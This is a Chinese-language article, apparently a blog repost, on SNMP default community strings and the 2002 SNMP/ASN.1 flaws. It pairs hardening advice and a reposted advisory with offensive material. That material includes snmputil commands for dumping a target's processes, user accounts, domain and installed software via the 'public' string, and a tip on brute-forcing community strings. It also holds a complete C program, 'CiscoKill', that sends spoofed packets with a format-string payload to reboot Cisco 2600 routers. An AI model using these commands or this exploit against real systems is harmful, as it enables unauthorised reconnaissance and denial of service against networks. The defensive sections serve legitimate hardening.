snmp简单网络管理协议漏洞分析,利用,防护

snmp简单网络管理协议漏洞分析,利用,防护

简单网络管理协议(SNMP)是一个
可以远程管理计算机和网络设备的协议.
有两种典型的远程监控模式.
他们可以粗略地分为"读"和"写"(或者是PUBLIC和PRIVATE).
如果攻击者能猜出一个PUBLIC团体串值,
那么他就可以从远程设备读取SNMP数据.
这个信息可能包括
系统时间,IP地址,接口,运行着的进程,etc等.
如果攻击者猜出一个PRIVATE团体串值
(写入或"完全控制"),
他就有更改远程机器上信息的能力.
这会是一个极大的安全漏洞,
能让攻击者成功地破坏网络,运行的进程,ect.
其实,"完全控制"会给远程攻击者提供在主机上的完全管理权限.

更多信息请参见:
http://www.securiteam.com/exploits/Windows_NT_s_SNMP_service_vulnerability.html
___________________________________________________________________


SNMP Agent responded as expected with community name: public
CVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516
BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986
NESSUS_ID : 10264
Other references : IAVA:2001-B-0001

SNMP服务在UDP 161/162端口监听
用法:snmputil walk IP public [OID]

[----------OID-----------------------含义-------]

.1.3.6.1.2.1.25.4.2.1.2           获取系统进程
.1.3.6.1.4.1.77.1.2.25.1.1        获取用户列表
.1.3.6.1.4.1.77.1.4.1.0           获取域名
.1.3.6.1.2.1.25.6.3.1.2           获取安装的软件
.1.3.6.1.2.1.1                    获取系统信息

--------------------------------------------------------------------

扫描到的一个报告:

 . 端口"snmp (161/udp)"发现安全漏洞 :


    Snmp口令:
     "public"


 . 端口"snmp (161/udp)"发现安全提示 :


        sysDescr.0 = Draytek V3300 Advanced Router
        sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds
        sysContact.0 =
admin@router
        sysName.0 = V3300c
        sysLocation.0 = Hsin Chu
        sysServices.0 = 0

目的:得到远程目标的系统敏感信息

简单 利用方法

这里的public使用来查询对方信息时所用到的密码

具体的做法:要用到一个叫snmputil的东西,这个东西在win2000的resource kit中有,通过它我们可以通过snmp服务来查看对方的一些信息
格式:snmputil get(or walk or getnext) public oid
get和括号里的时获取对方机器信息的一种方法,public就是查寻的时候要用的密码。oid是被查询设备的ID号码

例如:snmputil walk 111.111.111.111 public .1.3.6.1.2.1.25.4.2.1.2

snmputil walk ip public .1.3.6.1.2.1.25.4.2.1.2(列出系统进程)
snmputil walk ip public .1.3.6.1.4.1.77.1.2.25.1.1(列出系统用户列表)
snmputil get ip public .1.3.6.1.4.1.77.1.4.1.0(列出域名)
snmputil walk ip public .1.3.6.1.2.1.25.6.3.1.2(列出安装软件)
snmputill walk ip public .1.3.6.1.2.1(列出系统信息)

 

------------------------------------------------------------
关于扫描中snmp信息的利用


对于完全安装的WIN2K或者说启动了 简单网络管理协议(SNMP)的系统来说,仍然将存在
非常致命的隐患,完全将你的系统暴露给所有人。
 
一、从SNMP说起
SNMP,Simple Network Management Protocol,简单网络管理协议。用于管理IP网络上结点的协议。
几乎所有的网络设备和网络操作系统都支持SNMP。
接下来要介绍的是:community strings,
理解成为基于SNMP协议信息通信时使用的一种“查询密码”应该不为过吧。
当使用特殊的客户端应用程序,通过该“查询密码”community strings的验证,将获得
对应的权限(只读 或者 读写)对SNMP中管理信息库(MIB)进行访问。
而管理信息库(MIB)中则保存了系统所有的重要信息。
也就是说,如果可以知道community strings 这个“查询密码”,我们就可以刺探系统的信息了。
比较遗憾的是,很多网络设备厂商以及操作系统厂商,在初始状态下,都使用比较
统一的“查询密码”呵呵,这也就给我们提供了足够的方便。
 
二、对WIN2K进行刺探扫描
以WIN2K来说,一旦安装并启动了简单网络管理协议,系统将打开
UDP 161 snmp
UDP 162 snmptrap
两个端口。
具体做什么我们不去细究。需要注意的是,这里使用的是UDP端口,而不是TCP端口。
同时,WIN2K系统支持初始的“查询密码”community strings 为:public
我们只要通过一款Resource Kit里面的工具snmputil,就可以方便的获得非常多的信息。
在这里可以下载:

http://www.patching.net/abu/tools/win/snmputil.exe

http://sys-fans.googlegroups.com/web/snmputil.rar?gda=_yKFyz0AAABwZHozmN-ATJzor0QdxnV3-JHqy6NhXN0f3dd9D8ABRWG1qiJ7UbTIup-M2XPURDQUfhIcuCyU6V9M_1NEkm0m&hl=zh-CN

 

简单介绍一下用法
snmputil,就是程序名拉,呵呵。
get,就理解成获取一个信息。
getnext,就理解成获取下一个信息。
walk,就理解成获取一堆信息(嗯,应该说所有数据库子树/子目录的信息)
agent,具体某台机器拉。
community,嗯就是那个“community strings”“查询密码”拉。
oid,这个要多说一下,这个呢,就是物件识别代码(Object Identifier)。
可以把oid理解成MIB管理信息库中各种信息分类存放树资源的一个数字标识。

尝试获得对方机器当前进程列表
snmputil.exe walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2

尝试获得对方机器系统用户列表
snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1

整理一些列在下面:
snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程
snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表
snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名
snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件
snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息
 
三、一些工具的推荐
snmputil的功能已经完全足够用来进行对网络主机的刺探扫描了,只是因为它是命令行下的工具
而且,超常的oid标识符也并不是那么方便输入。
这里我推荐两款非常不错的网络管理工具,当然,它们的另一个作用就是snmp的刺探。
 
SolarWinds 2001的IP Network Browser
IP Network Browser是一款snmp浏览工具,它可以提供在输入正确的community strings“查询密码”
后的运行着snmp服务的WIN2K/NT系统上的任何可得的信息。
在下图中,我们可以看到“查询密码”为:public
而在Accounts(账号)表单里,我们已经获得了同上面snmputil命令行方式一样的反馈信息。

功能强大噢。
整个SolarWinds 软件套件更包含了更多的网络管理工具,以后我将在其他的文章里继续介绍。
 
LANguard Network Scanner 2.0
这是一个网络安全综合扫描工具,主要功能:显示每台主机的NETBIOS主机名,MAC地址,搜寻
共享,操作系统类型判断,并测试共享密码的安全性等等,以html格式输出。


当然,LANguard Network Scanner还有一些更高级更适用的功能
比如暴力破解community strings,呵呵自己配置一个字典的话
会非常有效的。
 
四、如何防范基于snmp的刺探扫描
首先需要注意的是,snmp服务的通讯端口是UDP端口,这也就是大部分网络管理人员很容易忽略的地方。
往往某些网管配置服务器阻断了NetBIOS空会话的建立,就认为系统安全有了相当的保障,可由于安装
了SNMP服务,不知不觉中,就给系统带去了极大的隐患。
最方便和容易的解决方法,就是关闭SNMP服务,或者卸载掉该服务。
如果关掉SNMP服务不方便的话,那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性
进行安全配置。
开始——程序——管理工具——服务——SNMP Service——属性——安全

在这个配置界面中,可以修改community strings,也就是微软所说的“团体名称”,呵呵,也就是
我所说的“查询密码”。或者可以配置是否从某些安全主机上才允许SNMP查询。
不过NT4环境下的朋友就必须修改注册表了。
修改community strings,在
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SNMP/Parameters/ValidCommunities]
下,将public的名称修改成其它的名称就可以了。
如果要限定允许的ip才可以进行SNMP查询,可以进入
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SNMP/Parameters/PermittedManagers]
添加字符串,名称为“1”,内容为要允许的主机IP。
当然,如果允许多台机器的话,就要名称沿用“2、3、4”等名称了。

-----------------------------------------------------------------

附带资料:

SNMP协议实现存在多个漏洞


--------------------------------------------------------------------------------
 来源:cnns.net  类别:系统漏洞  日期:2002-6-22 8:08:04

 

 
涉及程序:
SNMP协议和各种网络设备

描述:
snmp协议实现机制存在多个漏洞严重危害互联网基础安全

详细:
背景:
ASN No.1信令为抽象数据类型形式的标准,1984年以来,被用于编写和发送复杂的数据结构。这个语言从80年代开始衍生出了多个通信协议和应用,是电信业、电力业和核电业计算机网络基础信令。也是互联网赖以运行的基础通信规则之一。全球级计算机安全专家正在调查ASN N0.1信令的安全脆弱性。这些脆弱性严重威胁互联网基础设施安全,黑客可以开发攻击程序,关闭ISP的骨干路由器、交换机和众多的基础网络设备。最终破坏性的后果将是引起互联网瘫痪。
业界和政府的计算机安全专家门早就在关注这些问题。CNNS的安全专家早在1999年就发现很多电信公司的骨干路由器有致命缺陷。在那个时候,只需要很简单的操作,就可以引起大规模的网络瘫痪。举一个例子,一个显著的漏洞特征曾经出现在台湾中华电信,1999年如果有黑客施之以简单攻击,整个台湾地区大约65%的用户就不再能上网。
由于ASN No.1信令的安全脆弱性,超过100家计算机网络设备的提供商将付出代价。弥补这些缺陷的投入将超过1亿美金。
数百家网络设备提供商在今年早期就获得警告。如今已经纷纷给出解决方案。
由于多个internet通信协议都是基于ASN No.1计算机网络语言,ASN No.1的脆弱性将广泛威胁通信行业。最为显著的例子就是造成SNMP协议多个安全漏洞。相同的问题还影响至少其它三个互联网协议,在这里不做详细叙述。
Oulu University Secure Programming Group (OUSPG,http://www.ee.oulu.fi/research/ouspg/)长期专注于SNMP协议的研究,并披露了这个严重的安全系列问题。

=========================================================================================
多个计算机网络设备厂商的产品存在由于snmp协议脆弱性引起的多个漏洞,这些缺陷可能允许非法越权访问、拒绝服务攻击、导致不稳定的运行状况。
Simple Network Management Protocol (SNMP)协议被广泛用于网络设备的监控和管理。
SNMPv1定义了多个类型的SNMP讯息,如请求信息、配置改变、请求响应、SNMP对象列举,和主动的警报发送。

一、SNMPv1跟踪消息处理系列缺陷
SNMP代理(SNMP agents)发送跟踪消息(SNMP trap messages)到管理器(SNMP manager),向管理器报告错误信息、警报和其它的有关宿主的状态
信息。管理器必须解析和处理这些数据。OUSPG发现很多SNMP管理器在解析和处理过程中存在缺陷。

二、SNMPv1请求信息处理系列缺陷
SNMP请求信息是从管理器向snmp agent代理发出的。请求信息用于获取代理信息或指示snmp agent配置设备参数。SNMP agent代理必须正确解码和处理该信息。
在解码以及随后的数据处理过程中,代理和管理器都有出现拒绝服务错误、格式化字符串错误和缓冲溢出攻击的可能。有的攻击甚至不需要提供正确的SNMP community string(SNMP协议设置的一个关键参数,有点类似口令)。

这些漏洞可以导致拒绝服务、服务中断,还有一些情况下可以允许攻击者获取设备的非法访问权限。攻击对于不同的产品有不同的影响。

解决方案:
本站列出了一百多个全球大厂商关于这个安全问题的响应和有关信息:
http://www.cnns.net/patch/vendor.htm

请注意,以下的安全措施对于您的网络日常维护和网络设置构架可能有重大的影响。要确保以下措施的结果不会影响网络运行性能。

1、从厂商获得补丁程序并执行
http://www.cnns.net/patch/vendor.htm提供了厂商有关该安全性问题的信息。

2、禁止SNMP服务
CNNS建议您禁止所有不必要运行的服务,包括SNMP。不幸的是,有些产品在SNMP服务被禁止的情况下会有意外情况发生或者拒绝服务。如果是这样的话,必须执行更高级的安全设置。

3、边界访问过滤
临时的措施是,在网络边界禁止不良信息流进入内部网络或者发往外部网络。对于网络管理者来说,比较有力的措施是通过防火墙等过滤设备控制对SNMP服务的请求。比如,除指定的服务器外,缺省情况下通通禁止对SNMP服务的请求,以下端口的过滤有利于外部攻击者对内部网的SNMP攻击:
snmp 161/udp # Simple Network Management Protocol (SNMP)
snmp 162/udp # SNMP system management messages
以下这些服务并不常用,但有些产品可能运行这些服务:

snmp 161/tcp # Simple Network Management Protocol (SNMP)
snmp 162/tcp # SNMP system management messages
smux 199/tcp # SNMP Unix Multiplexer
smux 199/udp # SNMP Unix Multiplexer
synoptics-relay 391/tcp # SynOptics SNMP Relay Port
synoptics-relay 391/udp # SynOptics SNMP Relay Port
agentx 705/tcp # AgentX
snmp-tcp-port 1993/tcp # cisco SNMP TCP port
snmp-tcp-port 1993/udp # cisco SNMP TCP port
过滤对这些服务的请求,必须细心慎重,以免影响正常的网络运行。
值得注意的是,SNMP守护进程可能在该设备上绑定所有的IP地址。因此,要合理考虑包过滤策略。比如,即使禁止了SNMP包直接发送给普通的网络地址,还是有可能受到攻击。因为攻击者可以利用SNMP缺陷攻击一些特殊的网络地址,如:
网络广播地址
子网广播地址
和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。
管理员可以考虑是否过滤这些数据包。但必须慎重,因为不当的设置可能影响网络性能。

最后,对以下的RPC服务的访问也可以考虑禁止:
名称 程序ID 别名
snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utk
snmpv2 100138 na.snmpv2 # SNM Version 2.2.2
snmpXdmid 100249
值得注意的是,这些措施对内部攻击无效。

4、在内部网络中过滤不正常的SNMP访问。
在很多网络系统中,只有有限的网络管理系统需要发生SNMP请求。基于这种情形,对于大多数的SNMP代理,可以设置仅接受有限几台主机的SNMP请求。这样可以降低内部攻击风险。使用这些安全措施同样必须慎重,以免不当的设置降低网络性能。


5、修改缺省的"community string"
很多支持SNMP服务的产品的出厂设置中,默认的community-string是"public"(只读访问)和"private"(读写访问)。CNNS强烈建议用户修改这两个缺省字符串。否则攻击者将可以通过SNMP协议修改设备的设定。修改了这两个缺省"口令"后,还要防备监听攻击以免攻击者获得新的设置"口令"。SNMPv3对这点做了改进,参考 RFC2574。

6、隔离SNMP包
从网络管理的角度,用隔离措施可以降低SNMP攻击的风险。
包括物理隔离、VLAN逻辑隔离和VPN方式的隔离。注意通过交换机做VLAN隔离将加大攻击者攻击难度,但理论上并不能完全杜绝这类攻击。

------------------------------------------------------

攻击方法:
范例:
一、如果获取支持SNMP协议设备的"community string",在合适的环境下,攻击者将可以:
1、修改路由器配置
2、获取服务器最高控制权
3、重新启动设备

二、攻击者在不知道"community string"的前提下,也能进行拒绝服务攻击。
以下这段代码将重启Cisco 2600路由器:
/* This program send a spoofed snmpv1 get request that cause system reboot
on Cisco 2600 routers with IOS version 12.0(10)

Author : [email protected] ... don't be lame use for testing only! ..:) */

#include
#include
#include
#include
#include
#include
#include
#include
#include

 

struct in_addr sourceip_addr;
struct in_addr destip_addr;
struct sockaddr_in dest;

struct ip *IP;
struct udphdr *UDP;
int p_number=1,sok,datasize,i=0;

char *packet,*source,*target;
char *packetck;
char *data,c;

char snmpkill[] =
"/x30/x81/xaf/x02/x01/x00/x04/x06/x70/x75/x62/x6c/x69/x63/xa0/x81"
"/xa1/x02/x02/x09/x28/x02/x01/x00/x02/x01/x00/x30/x81/x94/x30/x81"
"/x91/x06/x81/x8c/x4d/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73/x25/x73"
"/x25/x73/x25/x73/x25/x73/x81/xff/xff/xff/xff/xff/xff/xff/xff/x7f"
"/x05";


struct pseudoudp {
u_long ipsource;
u_long ipdest;
char zero;
char proto;
u_short length;
} *psudp;


in_cksum (unsigned short *ptr, int nbytes)
{

register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back
* all the carry bits from the top 16 bits into the lower 16 bits.
*/

sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
sum += oddbyte;
}

/*
* Add back carry outs from top 16 bits to low 16 bits.
*/

sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}


void usage (void)
{
printf("Kundera CiscoKill v1.0/n");
printf("Usage: ciscokill [-n number of packets] [-s source ip_addr] -t ip_target /n");
}

 

int main(int argc,char **argv){

if (argc < 2){
usage();
exit(1);
}

while((c=getopt(argc,argv,"s:t:n:"))!=EOF){
switch(c) {
case 's': source=optarg; break;
case 'n': p_number=atoi(optarg); break;
case 't': target=optarg;
}
}

if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Can't create socket./n");
exit(EXIT_FAILURE);
}

destip_addr.s_addr=inet_addr(target);
sourceip_addr.s_addr=inet_addr(source);

datasize=sizeof(snmpkill);

packet = ( char * )malloc( 20 + 8 + datasize );

IP = (struct ip *)packet;

memset(packet,0,sizeof(packet));

IP->ip_dst.s_addr = destip_addr.s_addr;
IP->ip_src.s_addr = sourceip_addr.s_addr;
IP->ip_v = 4;
IP->ip_hl = 5;
IP->ip_ttl = 245;
IP->ip_id = htons(666);
IP->ip_p = 17;
IP->ip_len = htons(20 + 8 + datasize);
IP->ip_sum = in_cksum((u_short *)packet,20);


UDP = (struct udphdr *)(packet+20);
UDP->source = htons(666);
UDP->dest = htons(161);
UDP->len = htons(8+datasize);
UDP->check = 0;
packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
bzero(packetck,8 + datasize + sizeof(struct pseudoudp));
psudp = (struct pseudoudp *) (packetck);
psudp->ipdest = destip_addr.s_addr;
psudp->ipsource = sourceip_addr.s_addr;
psudp->zero = 0;
psudp->proto = 17;
psudp->length = htons(8+datasize);
memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);

UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));

data = (unsigned char *)(packet+20+8);
memcpy(data,snmpkill,datasize);

dest.sin_family=AF_INET;
dest.sin_addr.s_addr=destip_addr.s_addr;

while (i{
if (( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) &dest,sizeof(dest)))<0)
{
printf("Error sending packet./n");
exit(EXIT_FAILURE);
}

i++;

}
printf("%d packets sent./n",i);

}

 

安全建议:
在允许的情况下,禁止SNMP协议

附加信息:
http://www.kb.cert.org/vuls/id/854306
http://www.kb.cert.org/vuls/id/107186
CA-2002-03
http://online.wsj.com/article_email/0,,SB1023731908761703280,00.html


相关站点:
http://www.cert.org/advisories/CA-2002-03.html

你可能感兴趣的:(C/C++,Other,code,life,网络,struct,network,路由器,cisco,工具)